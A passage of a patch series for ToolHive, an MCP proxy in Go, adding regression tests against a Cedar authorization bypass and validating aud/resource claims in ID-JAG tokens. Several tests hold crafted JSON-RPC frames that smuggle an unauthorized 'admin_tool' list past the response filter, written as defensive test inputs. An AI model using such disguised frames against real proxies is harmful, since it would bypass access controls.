+ require.NoError(t, json.Unmarshal(result, &r)) + names := make([]string, len(r.Resources)) + for i, res := range r.Resources { + names[i] = res.URI + } + return names + }, + }, + } + + precedingLineCases := []struct { + name string + line string + }{ + { + name: "non-response data line", + // A notifications/* frame is a valid JSON-RPC notification + // (no id), so jsonrpc2.DecodeMessage returns a non-Response + // message. The buggy path treated this as a signal to dump + // rawResponse and return. + line: `data: {"jsonrpc":"2.0","method":"notifications/message","params":{"level":"info","data":"warming up"}}`, + }, + { + name: "undecodable data line", + line: `data: this is not json at all`, + }, + } + + for _, mc := range methodCases { + for _, plc := range precedingLineCases { + mc, plc := mc, plc + t.Run(mc.name+"/"+plc.name, func(t *testing.T) { + t.Parallel() + + req, err := http.NewRequest(http.MethodPost, "/messages", nil) + require.NoError(t, err) + req = req.WithContext(auth.WithIdentity(req.Context(), identity)) + + rr := httptest.NewRecorder() + rfw := NewResponseFilteringWriter(rr, authorizer, req, mc.method, nil, nil) + rfw.ResponseWriter.Header().Set("Content-Type", "text/event-stream") + + body := strings.Join([]string{plc.line, mc.respLine, ""}, "\n") + _, err = rfw.Write([]byte(body)) + require.NoError(t, err) + + require.NoError(t, rfw.FlushAndFilter()) + + out := rr.Body.String() + + // The preceding line must still appear verbatim; pass-through + // is the whole point of the fix. + assert.Contains(t, out, plc.line, + "non-response/undecodable preceding line must pass through unchanged") + + // The real list response must have been filtered. Pull the + // last JSON-RPC Response data line out and decode it. + var filteredLine string + for _, line := range strings.Split(out, "\n") { + if strings.HasPrefix(line, "data: {\"jsonrpc\"") && strings.Contains(line, `"result"`) { + filteredLine = line + } + } + require.NotEmpty(t, filteredLine, "no JSON-RPC Response data line found in output") + + payload := strings.TrimPrefix(filteredLine, "data: ") + msg, err := jsonrpc2.DecodeMessage([]byte(payload)) + require.NoError(t, err) + resp, ok := msg.(*jsonrpc2.Response) + require.True(t, ok) + + names := mc.extractNames(t, resp.Result) + assert.Contains(t, names, mc.authorizedName, "authorized entry must be retained") + assert.NotContains(t, names, mc.unauthorizedName, + "unauthorized entry must be filtered; presence indicates the cedar bypass from #5257 is back") + + // And the raw unfiltered payload (the bug used to dump it) + // must not appear in the wire output. + assert.NotContains(t, out, `"`+mc.unauthorizedName+`"`, + "unfiltered list payload leaked into SSE output") + }) + } + } +} + +// TestResponseFilteringWriter_SSE_DisguisedResponseFrame is a regression test +// for a residual of issue #5257: a frame that carries both a method field (so +// jsonrpc2.DecodeMessage classifies it as a request/notification rather than a +// Response) and a result field smuggling a real list. Such a frame must be +// dropped, not passed through, or the unfiltered list leaks past Cedar. +func TestResponseFilteringWriter_SSE_DisguisedResponseFrame(t *testing.T) { + t.Parallel() + + authorizer, err := cedar.NewCedarAuthorizer(cedar.ConfigOptions{ + Policies: []string{ + `permit(principal, action == Action::"call_tool", resource == Tool::"weather");`, + }, + EntitiesJSON: `[]`, + }, "") + require.NoError(t, err) + + identity := &auth.Identity{PrincipalInfo: auth.PrincipalInfo{ + Subject: "user1", + Claims: map[string]interface{}{"sub": "user1"}, + }} + + // A genuine, filterable tools/list response on a later line. + realResultJSON, err := json.Marshal(mcp.ListToolsResult{ + Tools: []mcp.Tool{{Name: "weather", Description: "Get weather information"}}, + }) + require.NoError(t, err) + realResp, err := jsonrpc2.EncodeMessage(&jsonrpc2.Response{ + ID: jsonrpc2.Int64ID(2), + Result: json.RawMessage(realResultJSON), + }) + require.NoError(t, err) + + // Each frame smuggles a tools/list result outside a clean Response, via a + // different upstream-controlled shape. DecodeMessage either classifies them + // as non-Response or rejects them outright, so the pre-fix code passed them + // through unfiltered. All must be dropped, not leaked. + frames := []struct { + name string + payload string + }{ + {"method+result non-response", `data: {"jsonrpc":"2.0","method":"notifications/initialized","id":1,"result":{"tools":[{"name":"admin_tool"}]}}`}, + {"missing jsonrpc tag", `data: {"id":1,"result":{"tools":[{"name":"admin_tool"}]}}`}, + {"no id", `data: {"jsonrpc":"2.0","result":{"tools":[{"name":"admin_tool"}]}}`}, + {"non-scalar id", `data: {"jsonrpc":"2.0","id":{"x":1},"result":{"tools":[{"name":"admin_tool"}]}}`}, + {"batch array", `data: [{"jsonrpc":"2.0","id":1,"result":{"tools":[{"name":"admin_tool"}]}}]`}, + } + + for _, f := range frames { + f := f + t.Run(f.name, func(t *testing.T) { + t.Parallel() + + req, err := http.NewRequest(http.MethodPost, "/messages", nil) + require.NoError(t, err) + req = req.WithContext(auth.WithIdentity(req.Context(), identity)) + + rr := httptest.NewRecorder() + rfw := NewResponseFilteringWriter(rr, authorizer, req, string(mcp.MethodToolsList), nil, nil) + rfw.ResponseWriter.Header().Set("Content-Type", "text/event-stream") + + body := strings.Join([]string{f.payload, "data: " + string(realResp), ""}, "\n") + _, err = rfw.Write([]byte(body)) + require.NoError(t, err) + require.NoError(t, rfw.FlushAndFilter()) + + out := rr.Body.String() + assert.NotContains(t, out, "admin_tool", + "smuggled result leaked past the filter") + assert.Contains(t, out, "weather", + "genuine list response on a later line must still be delivered") + }) + } +} + +// TestResponseFilteringWriter_JSON_DisguisedResponseFrame is the application/json +// counterpart: the disguised-result bypass is transport-independent, so the JSON +// path must also fail closed on a smuggled result rather than write it through. +func TestResponseFilteringWriter_JSON_DisguisedResponseFrame(t *testing.T) { + t.Parallel() + + authorizer, err := cedar.NewCedarAuthorizer(cedar.ConfigOptions{ + Policies: []string{ + `permit(principal, action == Action::"call_tool", resource == Tool::"weather");`, + }, + EntitiesJSON: `[]`, + }, "") + require.NoError(t, err) + + identity := &auth.Identity{PrincipalInfo: auth.PrincipalInfo{ + Subject: "user1", + Claims: map[string]interface{}{"sub": "user1"}, + }} + + // A batch array smuggling a tools/list result. DecodeMessage rejects the + // array, so the pre-fix JSON path wrote it through raw. + smuggled := `[{"jsonrpc":"2.0","id":1,"result":{"tools":[{"name":"admin_tool"}]}}]` + + req, err := http.NewRequest(http.MethodPost, "/messages", nil) + require.NoError(t, err) + req = req.WithContext(auth.WithIdentity(req.Context(), identity)) + + rr := httptest.NewRecorder() + rfw := NewResponseFilteringWriter(rr, authorizer, req, string(mcp.MethodToolsList), nil, nil) + rfw.ResponseWriter.Header().Set("Content-Type", "application/json") + + _, err = rfw.Write([]byte(smuggled)) + require.NoError(t, err) + require.NoError(t, rfw.FlushAndFilter()) + + assert.NotContains(t, rr.Body.String(), "admin_tool", + "smuggled result on the application/json transport leaked past the filter") +} From 9e50934751f23a674d4192df20f0d520f7f93821 Mon Sep 17 00:00:00 2001 From: Jakub Hrozek Date: Wed, 15 Jul 2026 12:48:15 +0100 Subject: [PATCH 50/66] Validate aud and resource claims in returned ID-JAG JWT (#5716) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The XAA IdP exchange (RFC 8693) returned an ID-JAG JWT without validating its aud or resource claims against the values requested in the exchange. If the IdP minted an ID-JAG for a different audience or resource, ToolHive forwarded it to the target AS unchanged — a token- misbinding / confused-deputy risk. Add validateIDJAGClaims to check the aud claim (REQUIRED per draft §3.1, membership check per RFC 7519 §4.1.3) and the resource claim (OPTIONAL per §3.1, validated when one was requested) inside the returned ID-JAG JWT. A non-JWT assertion that fails to parse is now rejected rather than forwarded. The typ header check remains logged- only by design (the draft §3.1 MUST is on the issuer; ToolHive is the holder/presenter). Closes #5696 --- pkg/vmcp/auth/strategies/xaa.go | 109 +++++++- pkg/vmcp/auth/strategies/xaa_test.go | 356 +++++++++++++++++++++++++-- 2 files changed, 438 insertions(+), 27 deletions(-) diff --git a/pkg/vmcp/auth/strategies/xaa.go b/pkg/vmcp/auth/strategies/xaa.go index 221309dcba..8e72041047 100644 --- a/pkg/vmcp/auth/strategies/xaa.go +++ b/pkg/vmcp/auth/strategies/xaa.go @@ -224,7 +224,10 @@ func (*XAAStrategy) authenticateWithClientCredentials( // performIDPExchange runs the RFC 8693 token exchange at the IdP to obtain an // ID-JAG. It verifies the response's issued_token_type matches the ID-JAG URN -// per draft-ietf-oauth-identity-assertion-authz-grant §4.3.3. +// (draft §4.3.3) and that token_type is N_A (draft §5.2), logs a mismatch on +// the JWT typ header, rejects an empty or unparsable assertion, and validates +// the aud/resource binding claims against what was requested (confused-deputy +// defence; see validateIDJAGClaims). func (*XAAStrategy) performIDPExchange( ctx context.Context, idToken string, config *xaaParsedConfig, ) (string, error) { @@ -277,19 +280,107 @@ func (*XAAStrategy) performIDPExchange( const idJAGJWTType = "oauth-id-jag+jwt" parser := jwt.NewParser() parsed, _, parseErr := parser.ParseUnverified(assertion, jwt.MapClaims{}) - if parseErr == nil { - if typ, _ := parsed.Header["typ"].(string); !strings.EqualFold(typ, idJAGJWTType) { - slog.Debug("xaa: ID-JAG JWT typ header mismatch", - "got", typ, "want", idJAGJWTType, - ) - } - } else { - slog.Debug("xaa: could not parse ID-JAG JWT header for typ check", "error", parseErr) + if parseErr != nil { + // A non-parseable assertion cannot carry valid aud/resource claims and + // therefore cannot be a valid ID-JAG. Fail fast rather than forwarding + // an unvalidated assertion to the target AS. + return "", fmt.Errorf("IdP exchange: ID-JAG assertion is not a valid JWT: %w", parseErr) + } + if typ, _ := parsed.Header["typ"].(string); !strings.EqualFold(typ, idJAGJWTType) { + slog.Debug("xaa: ID-JAG JWT typ header mismatch", + "got", typ, "want", idJAGJWTType, + ) + } + // The assertion cannot fail: ParseUnverified was called with a literal + // jwt.MapClaims{}, which it decodes into in place. The !ok branch is + // defensive. + claims, ok := parsed.Claims.(jwt.MapClaims) + if !ok { + return "", fmt.Errorf("IdP exchange: ID-JAG claims are not MapClaims") + } + if err := validateIDJAGClaims(claims, config.targetAudience, config.targetResource); err != nil { + return "", err } return assertion, nil } +// validateIDJAGClaims checks the aud and resource claims of the returned ID-JAG +// JWT against the values requested in the IdP exchange (draft §3.1, §5). +// +// Per draft §4.4.1, aud MUST be a single-value issuer identifier: either a JSON +// string, or a JSON array containing exactly one element. A multi-element aud +// array is malformed and is rejected (see audMatches). resource is checked +// only when one was requested (the resource parameter is OPTIONAL per draft +// §4.3); when one was requested, ToolHive requires the returned ID-JAG to echo +// it — a deliberate strict-binding policy, stricter than the draft, which +// leaves resource OPTIONAL in the response even when requested. +// +// This is defence-in-depth against token misbinding: if the IdP mints an ID-JAG +// for a different audience/resource, the target AS should reject it — but +// ToolHive fails fast rather than forwarding a mismatched assertion. +// +// Per RFC 7519 §4.1.3, the aud claim may be a string or an array of strings; +// golang-jwt/v5 decodes a JSON array as []interface{} whose elements are +// strings. resource legitimately allows an array of URIs per draft §3.1, so a +// membership check (claimContainsString) is used there; aud does not permit +// multiple values, so a dedicated single-value check (audMatches) is used +// instead. +func validateIDJAGClaims(claims jwt.MapClaims, wantAudience, wantResource string) error { + // aud is REQUIRED and single-valued per draft §4.4.1. + if !audMatches(claims, wantAudience) { + return fmt.Errorf("IdP exchange: ID-JAG aud claim %v does not match requested audience %q", claims["aud"], wantAudience) + } + + // Deliberately stricter than the draft: resource is OPTIONAL in the ID-JAG + // even when requested, but ToolHive rejects an ID-JAG that omits it once + // the operator has configured a resource to bind to. + if wantResource != "" && !claimContainsString(claims, "resource", wantResource) { + return fmt.Errorf( + "IdP exchange: ID-JAG resource claim %v does not contain requested resource %q", + claims["resource"], wantResource, + ) + } + + return nil +} + +// audMatches reports whether the aud claim is a single-value issuer identifier +// equal to want, per draft §4.4.1: either a JSON string, or a JSON array +// containing exactly one element. Any other shape — missing, multi-element +// array, empty array, wrong type, or a non-string element — is rejected. +func audMatches(claims jwt.MapClaims, want string) bool { + switch v := claims["aud"].(type) { + case string: + return v == want + case []interface{}: + if len(v) != 1 { + return false + } + s, ok := v[0].(string) + return ok && s == want + default: + return false + } +} + +// claimContainsString reports whether the named claim contains want. Per RFC +// 7519 the claim may be a single string or an array; golang-jwt/v5 decodes JSON +// arrays as []interface{} whose elements are strings. +func claimContainsString(claims jwt.MapClaims, key, want string) bool { + switch v := claims[key].(type) { + case string: + return v == want + case []interface{}: + for _, e := range v { + if s, ok := e.(string); ok && s == want { + return true + } + } + } + return false +} + // performTargetGrant runs the RFC 7523 JWT Bearer grant at the target AS using // the ID-JAG assertion returned by IdP exchange. func (*XAAStrategy) performTargetGrant( diff --git a/pkg/vmcp/auth/strategies/xaa_test.go b/pkg/vmcp/auth/strategies/xaa_test.go index 46f6ea71f3..6d3f69eb9a 100644 --- a/pkg/vmcp/auth/strategies/xaa_test.go +++ b/pkg/vmcp/auth/strategies/xaa_test.go @@ -92,8 +92,8 @@ func createXAAIdPServer(t *testing.T, expectedIDToken, idJAGToReturn string) *ht } // createXAATargetServer creates a mock target AS server that validates target -// grant (RFC 7523 JWT Bearer grant) requests and returns an access token. -func createXAATargetServer(t *testing.T, expectedAssertion, accessTokenToReturn string) *httptest.Server { +// grant (RFC 7523 JWT Bearer grant) requests and returns a fixed access token. +func createXAATargetServer(t *testing.T, expectedAssertion string) *httptest.Server { t.Helper() return httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { t.Helper() @@ -109,7 +109,7 @@ func createXAATargetServer(t *testing.T, expectedAssertion, accessTokenToReturn w.Header().Set("Content-Type", "application/json") err = json.NewEncoder(w).Encode(map[string]any{ - "access_token": accessTokenToReturn, + "access_token": "final-access-token", "token_type": "Bearer", "expires_in": 3600, }) @@ -117,6 +117,28 @@ func createXAATargetServer(t *testing.T, expectedAssertion, accessTokenToReturn })) } +// xaaStrategyWithResource builds a BackendAuthStrategy for xaa with the standard +// test config including TargetResource, pointing at the provided IdP/target URLs. +func xaaStrategyWithResource(idpURL, targetURL string) *authtypes.BackendAuthStrategy { + return createXAAStrategy(func(cfg *authtypes.XAAConfig) { + cfg.IDPTokenURL = idpURL + cfg.TargetTokenURL = targetURL + cfg.TargetAudience = testTargetAudience + cfg.TargetResource = testTargetResource + cfg.SubjectProviderName = testProviderGitHub + }) +} + +// mustNotBeCalledTargetServer returns a mock target AS whose handler fails the +// test if invoked. Used by error-path cases where the IdP exchange must reject +// the assertion before the target grant runs. +func mustNotBeCalledTargetServer(t *testing.T) *httptest.Server { + t.Helper() + return httptest.NewServer(http.HandlerFunc(func(_ http.ResponseWriter, _ *http.Request) { + t.Error("target AS must not be called when IdP exchange rejects the ID-JAG") + })) +} + func TestXAAStrategy_Validate(t *testing.T) { t.Parallel() @@ -582,8 +604,9 @@ func TestXAAStrategy_Authenticate(t *testing.T) { }, setupServers: func(t *testing.T) (*httptest.Server, *httptest.Server) { t.Helper() - idpServer := createXAAIdPServer(t, "user-id-token-jwt", "the-id-jag-token") - targetServer := createXAATargetServer(t, "the-id-jag-token", "final-access-token") + idJAG := buildIDJAGJWT(t, "oauth-id-jag+jwt", testTargetAudience, testTargetResource) + idpServer := createXAAIdPServer(t, "user-id-token-jwt", idJAG) + targetServer := createXAATargetServer(t, idJAG) return idpServer, targetServer }, strategy: func(idpURL, targetURL string) *authtypes.BackendAuthStrategy { @@ -642,7 +665,8 @@ func TestXAAStrategy_Authenticate(t *testing.T) { }, setupServers: func(t *testing.T) (*httptest.Server, *httptest.Server) { t.Helper() - idpServer := createXAAIdPServer(t, "valid-id-token", "valid-id-jag") + idJAG := buildIDJAGJWT(t, "oauth-id-jag+jwt", testTargetAudience, testTargetResource) + idpServer := createXAAIdPServer(t, "valid-id-token", idJAG) targetServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { w.WriteHeader(http.StatusUnauthorized) err := json.NewEncoder(w).Encode(map[string]any{ @@ -778,7 +802,7 @@ func TestXAAStrategy_Authenticate(t *testing.T) { }, setupServers: func(t *testing.T) (*httptest.Server, *httptest.Server) { t.Helper() - wrongTypJWT := buildJWTWithTypHeader(t, "JWT") + wrongTypJWT := buildIDJAGJWT(t, "JWT", testTargetAudience, testTargetResource) idpServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { w.Header().Set("Content-Type", "application/json") err := json.NewEncoder(w).Encode(map[string]any{ @@ -789,7 +813,7 @@ func TestXAAStrategy_Authenticate(t *testing.T) { }) assert.NoError(t, err) })) - targetServer := createXAATargetServer(t, wrongTypJWT, "final-access-token") + targetServer := createXAATargetServer(t, wrongTypJWT) return idpServer, targetServer }, strategy: func(idpURL, targetURL string) *authtypes.BackendAuthStrategy { @@ -815,7 +839,7 @@ func TestXAAStrategy_Authenticate(t *testing.T) { }, setupServers: func(t *testing.T) (*httptest.Server, *httptest.Server) { t.Helper() - correctTypJWT := buildJWTWithTypHeader(t, "oauth-id-jag+jwt") + correctTypJWT := buildIDJAGJWT(t, "oauth-id-jag+jwt", testTargetAudience, testTargetResource) idpServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { w.Header().Set("Content-Type", "application/json") err := json.NewEncoder(w).Encode(map[string]any{ @@ -826,7 +850,7 @@ func TestXAAStrategy_Authenticate(t *testing.T) { }) assert.NoError(t, err) })) - targetServer := createXAATargetServer(t, correctTypJWT, "final-access-token") + targetServer := createXAATargetServer(t, correctTypJWT) return idpServer, targetServer }, strategy: func(idpURL, targetURL string) *authtypes.BackendAuthStrategy { @@ -844,6 +868,261 @@ func TestXAAStrategy_Authenticate(t *testing.T) { assert.Equal(t, "Bearer final-access-token", req.Header.Get("Authorization")) }, }, + // aud claim validation (draft §3.1: aud is REQUIRED). + { + name: "IdP exchange rejects ID-JAG with missing aud claim", + setupCtx: func() context.Context { + return createContextWithUpstreamIDTokens( + map[string]string{testProviderGitHub: "user-id-token-jwt"}) + }, + setupServers: func(t *testing.T) (*httptest.Server, *httptest.Server) { + t.Helper() + idJAG := buildIDJAGJWT(t, "oauth-id-jag+jwt", nil, testTargetResource) + idpServer := createXAAIdPServer(t, "user-id-token-jwt", idJAG) + targetServer := mustNotBeCalledTargetServer(t) + return idpServer, targetServer + }, + strategy: xaaStrategyWithResource, + expectError: true, + errorContains: []string{"IdP exchange", "aud"}, + }, + { + name: "IdP exchange rejects ID-JAG with wrong aud (string)", + setupCtx: func() context.Context { + return createContextWithUpstreamIDTokens( + map[string]string{testProviderGitHub: "user-id-token-jwt"}) + }, + setupServers: func(t *testing.T) (*httptest.Server, *httptest.Server) { + t.Helper() + idJAG := buildIDJAGJWT(t, "oauth-id-jag+jwt", "https://wrong.example.com", testTargetResource) + idpServer := createXAAIdPServer(t, "user-id-token-jwt", idJAG) + targetServer := mustNotBeCalledTargetServer(t) + return idpServer, targetServer + }, + strategy: xaaStrategyWithResource, + expectError: true, + errorContains: []string{"IdP exchange", "aud"}, + }, + { + name: "IdP exchange rejects ID-JAG with wrong aud (array)", + setupCtx: func() context.Context { + return createContextWithUpstreamIDTokens( + map[string]string{testProviderGitHub: "user-id-token-jwt"}) + }, + setupServers: func(t *testing.T) (*httptest.Server, *httptest.Server) { + t.Helper() + idJAG := buildIDJAGJWT(t, "oauth-id-jag+jwt", + []string{"https://wrong.example.com", "https://other.example.com"}, testTargetResource) + idpServer := createXAAIdPServer(t, "user-id-token-jwt", idJAG) + targetServer := mustNotBeCalledTargetServer(t) + return idpServer, targetServer + }, + strategy: xaaStrategyWithResource, + expectError: true, + errorContains: []string{"IdP exchange", "aud"}, + }, + { + name: "IdP exchange rejects ID-JAG with multi-element aud array", + setupCtx: func() context.Context { + return createContextWithUpstreamIDTokens( + map[string]string{testProviderGitHub: "user-id-token-jwt"}) + }, + setupServers: func(t *testing.T) (*httptest.Server, *httptest.Server) { + t.Helper() + idJAG := buildIDJAGJWT(t, "oauth-id-jag+jwt", + []string{testTargetAudience, "https://extra.example.com"}, testTargetResource) + idpServer := createXAAIdPServer(t, "user-id-token-jwt", idJAG) + targetServer := mustNotBeCalledTargetServer(t) + return idpServer, targetServer + }, + strategy: xaaStrategyWithResource, + expectError: true, + errorContains: []string{"IdP exchange", "aud"}, + }, + { + name: "IdP exchange accepts ID-JAG with aud as single-element array", + setupCtx: func() context.Context { + return createContextWithUpstreamIDTokens( + map[string]string{testProviderGitHub: "user-id-token-jwt"}) + }, + setupServers: func(t *testing.T) (*httptest.Server, *httptest.Server) { + t.Helper() + idJAG := buildIDJAGJWT(t, "oauth-id-jag+jwt", + []string{testTargetAudience}, testTargetResource) + idpServer := createXAAIdPServer(t, "user-id-token-jwt", idJAG) + targetServer := createXAATargetServer(t, idJAG) + return idpServer, targetServer + }, + strategy: xaaStrategyWithResource, + expectError: false, + checkAuthHeader: func(t *testing.T, req *http.Request) { + t.Helper() + assert.Equal(t, "Bearer final-access-token", req.Header.Get("Authorization")) + }, + }, + // resource claim validation (draft §3.1: resource is OPTIONAL, validated + // when one was requested). + { + name: "IdP exchange rejects ID-JAG with wrong resource", + setupCtx: func() context.Context { + return createContextWithUpstreamIDTokens( + map[string]string{testProviderGitHub: "user-id-token-jwt"}) + }, + setupServers: func(t *testing.T) (*httptest.Server, *httptest.Server) { + t.Helper() + idJAG := buildIDJAGJWT(t, "oauth-id-jag+jwt", testTargetAudience, "https://wrong.example.com") + idpServer := createXAAIdPServer(t, "user-id-token-jwt", idJAG) + targetServer := mustNotBeCalledTargetServer(t) + return idpServer, targetServer + }, + strategy: xaaStrategyWithResource, + expectError: true, + errorContains: []string{"IdP exchange", "resource"}, + }, + { + name: "IdP exchange rejects ID-JAG with missing resource when requested", + setupCtx: func() context.Context { + return createContextWithUpstreamIDTokens( + map[string]string{testProviderGitHub: "user-id-token-jwt"}) + }, + setupServers: func(t *testing.T) (*httptest.Server, *httptest.Server) { + t.Helper() + // resource omitted (empty string) while config requests one. + idJAG := buildIDJAGJWT(t, "oauth-id-jag+jwt", testTargetAudience, "") + idpServer := createXAAIdPServer(t, "user-id-token-jwt", idJAG) + targetServer := mustNotBeCalledTargetServer(t) + return idpServer, targetServer + }, + strategy: xaaStrategyWithResource, + expectError: true, + errorContains: []string{"IdP exchange", "resource"}, + }, + { + name: "IdP exchange accepts ID-JAG with resource as array containing TargetResource", + setupCtx: func() context.Context { + return createContextWithUpstreamIDTokens( + map[string]string{testProviderGitHub: "user-id-token-jwt"}) + }, + setupServers: func(t *testing.T) (*httptest.Server, *httptest.Server) { + t.Helper() + idJAG := buildIDJAGJWT(t, "oauth-id-jag+jwt", + testTargetAudience, []string{testTargetResource}) + idpServer := createXAAIdPServer(t, "user-id-token-jwt", idJAG) + targetServer := createXAATargetServer(t, idJAG) + return idpServer, targetServer + }, + strategy: xaaStrategyWithResource, + expectError: false, + checkAuthHeader: func(t *testing.T, req *http.Request) { + t.Helper() + assert.Equal(t, "Bearer final-access-token", req.Header.Get("Authorization")) + }, + }, + { + name: "IdP exchange accepts ID-JAG with resource array containing a non-string element", + setupCtx: func() context.Context { + return createContextWithUpstreamIDTokens( + map[string]string{testProviderGitHub: "user-id-token-jwt"}) + }, + setupServers: func(t *testing.T) (*httptest.Server, *httptest.Server) { + t.Helper() + idJAG := buildIDJAGJWT(t, "oauth-id-jag+jwt", + testTargetAudience, []interface{}{float64(123), testTargetResource}) + idpServer := createXAAIdPServer(t, "user-id-token-jwt", idJAG) + targetServer := createXAATargetServer(t, idJAG) + return idpServer, targetServer + }, + strategy: xaaStrategyWithResource, + expectError: false, + checkAuthHeader: func(t *testing.T, req *http.Request) { + t.Helper() + assert.Equal(t, "Bearer final-access-token", req.Header.Get("Authorization")) + }, + }, + { + name: "IdP exchange rejects ID-JAG with resource array containing only a non-string element", + setupCtx: func() context.Context { + return createContextWithUpstreamIDTokens( + map[string]string{testProviderGitHub: "user-id-token-jwt"}) + }, + setupServers: func(t *testing.T) (*httptest.Server, *httptest.Server) { + t.Helper() + idJAG := buildIDJAGJWT(t, "oauth-id-jag+jwt", + testTargetAudience, []interface{}{float64(123)}) + idpServer := createXAAIdPServer(t, "user-id-token-jwt", idJAG) + targetServer := mustNotBeCalledTargetServer(t) + return idpServer, targetServer + }, + strategy: xaaStrategyWithResource, + expectError: true, + errorContains: []string{"IdP exchange", "resource"}, + }, + // resource check skipped when TargetResource is not configured + // (wantResource == "" early-return branch in validateIDJAGClaims). + { + name: "IdP exchange accepts ID-JAG when TargetResource is not configured", + setupCtx: func() context.Context { + return createContextWithUpstreamIDTokens( + map[string]string{testProviderGitHub: "user-id-token-jwt"}) + }, + setupServers: func(t *testing.T) (*httptest.Server, *httptest.Server) { + t.Helper() + idJAG := buildIDJAGJWT(t, "oauth-id-jag+jwt", testTargetAudience, nil) + // TargetResource is unset, so the exchange request carries no + // resource parameter; use an IdP mock that does not assert it. + idpServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + t.Helper() + assert.Equal(t, http.MethodPost, r.Method) + require.NoError(t, r.ParseForm()) + assert.Equal(t, oauthproto.GrantTypeTokenExchange, r.Form.Get("grant_type")) + assert.Equal(t, "user-id-token-jwt", r.Form.Get("subject_token")) + assert.Equal(t, oauthproto.TokenTypeIDJAG, r.Form.Get("requested_token_type")) + assert.NotEmpty(t, r.Form.Get("audience"), "audience must be set") + assert.Empty(t, r.Form.Get("resource"), "resource must be absent when not configured") + + w.Header().Set("Content-Type", "application/json") + require.NoError(t, json.NewEncoder(w).Encode(map[string]any{ + "access_token": idJAG, + "token_type": "N_A", + "issued_token_type": oauthproto.TokenTypeIDJAG, + "expires_in": 300, + })) + })) + targetServer := createXAATargetServer(t, idJAG) + return idpServer, targetServer + }, + strategy: func(idpURL, targetURL string) *authtypes.BackendAuthStrategy { + return createXAAStrategy(func(cfg *authtypes.XAAConfig) { + cfg.IDPTokenURL = idpURL + cfg.TargetTokenURL = targetURL + cfg.TargetAudience = testTargetAudience + // TargetResource intentionally omitted. + cfg.SubjectProviderName = testProviderGitHub + }) + }, + expectError: false, + checkAuthHeader: func(t *testing.T, req *http.Request) { + t.Helper() + assert.Equal(t, "Bearer final-access-token", req.Header.Get("Authorization")) + }, + }, + // parse failure: a non-JWT assertion cannot be a valid ID-JAG. + { + name: "IdP exchange rejects non-JWT assertion", + setupCtx: func() context.Context { + return createContextWithUpstreamIDTokens( + map[string]string{testProviderGitHub: "user-id-token-jwt"}) + }, + setupServers: func(t *testing.T) (*httptest.Server, *httptest.Server) { + t.Helper() + idpServer := createXAAIdPServer(t, "user-id-token-jwt", "not-a-jwt") + targetServer := mustNotBeCalledTargetServer(t) + return idpServer, targetServer + }, + strategy: xaaStrategyWithResource, + expectError: true, + errorContains: []string{"IdP exchange", "not a valid JWT"}, + }, } for _, tt := range tests { @@ -886,23 +1165,64 @@ func TestXAAStrategy_Authenticate(t *testing.T) { } } -// buildJWTWithTypHeader signs a minimal JWT with the given typ header value using -// a throwaway RSA key. The token is not intended to be verified — it exists only -// to exercise the header-parsing path in performIDPExchange. -func buildJWTWithTypHeader(t *testing.T, typ string) string { +// testJWTSigningKey is a throwaway RSA key shared by every buildIDJAGJWT call +// in this file. Tokens built with it are only ever consumed via +// ParseUnverified (signature never checked), so a single package-level key +// avoids generating a fresh RSA-2048 key per test case. +var testJWTSigningKey = func() *rsa.PrivateKey { + key, err := rsa.GenerateKey(rand.Reader, 2048) + if err != nil { + panic(err) + } + return key +}() + +// buildIDJAGJWT signs a JWT with the given typ header, aud claim, and resource +// claim using testJWTSigningKey. aud and resource may each be a string, +// []string (to exercise the array form), or []interface{} (to exercise +// heterogeneous arrays); a nil or empty string omits the claim. The token is +// not intended to be verified — it exists to exercise the claim-validation +// path in performIDPExchange. +func buildIDJAGJWT(t *testing.T, typ string, aud, resource any) string { t.Helper() - key, err := rsa.GenerateKey(rand.Reader, 2048) - require.NoError(t, err) + claims := jwt.MapClaims{"sub": "test"} + setClaim(t, claims, "aud", aud) + setClaim(t, claims, "resource", resource) - token := jwt.NewWithClaims(jwt.SigningMethodRS256, jwt.MapClaims{"sub": "test"}) + token := jwt.NewWithClaims(jwt.SigningMethodRS256, claims) token.Header["typ"] = typ - signed, err := token.SignedString(key) + signed, err := token.SignedString(testJWTSigningKey) require.NoError(t, err) return signed } +// setClaim sets a string-or-array claim on a MapClaims, omitting it when v is +// nil or an empty string. []string is marshalled as a JSON array (decoded back +// by golang-jwt as []interface{}, exercising the array branch of +// claimContainsString). []interface{} is set directly, allowing heterogeneous +// arrays (e.g. mixing strings with non-string elements) to exercise the +// type-guard in claimContainsString's array branch. +func setClaim(t *testing.T, claims jwt.MapClaims, key string, v any) { + t.Helper() + switch c := v.(type) { + case nil: + // omit + case string: + if c == "" { + return + } + claims[key] = c + case []string: + claims[key] = c + case []interface{}: + claims[key] = c + default: + t.Fatalf("unsupported %s type %T", key, v) + } +} + func TestXAAStrategy_ClientSecretEnv(t *testing.T) { t.Parallel() From 1ec735238c066e6e2d1fe2088ef337f1f701c6ca Mon Sep 17 00:00:00 2001 From: Alejandro Ponce de Leon Date: Wed, 15 Jul 2026 15:02:32 +0300 Subject: [PATCH 51/66] Flush tool-filter buffer after handler returns (#5809) * Flush tool-filter buffer after handler returns When both the tool-filter and authz middleware are active, tools/list responses came back with committed headers but a 0-byte body. Authz writes the final body into the tool-filter's buffering writer during its own post-ServeHTTP flush, but nothing then drains that buffer, so it is stranded. Mirror authz's own pattern by explicitly flushing the tool-filter writer after next.ServeHTTP returns. Fixes #5797 * Reset buffer in no-content-type Flush branch Prevents a repeated Flush() call on an unlabeled response from rewriting already-flushed bytes, mirroring the reset already done in the content-type branch below it. --- pkg/mcp/tool_filter.go | 7 ++++ pkg/mcp/tool_filter_test.go | 71 ++++++++++++++++++++++++++++++++++++- 2 files changed, 77 insertions(+), 1 deletion(-) diff --git a/pkg/mcp/tool_filter.go b/pkg/mcp/tool_filter.go index 3bc6facca0..792e44ea3b 100644 --- a/pkg/mcp/tool_filter.go +++ b/pkg/mcp/tool_filter.go @@ -193,6 +193,12 @@ func NewListToolsMappingMiddleware(opts ...ToolMiddlewareOption) (types.Middlewa // Call the next handler next.ServeHTTP(rw, r) + + // Explicitly drain our buffered writer after the handler returns. An inner + // buffering middleware (e.g. 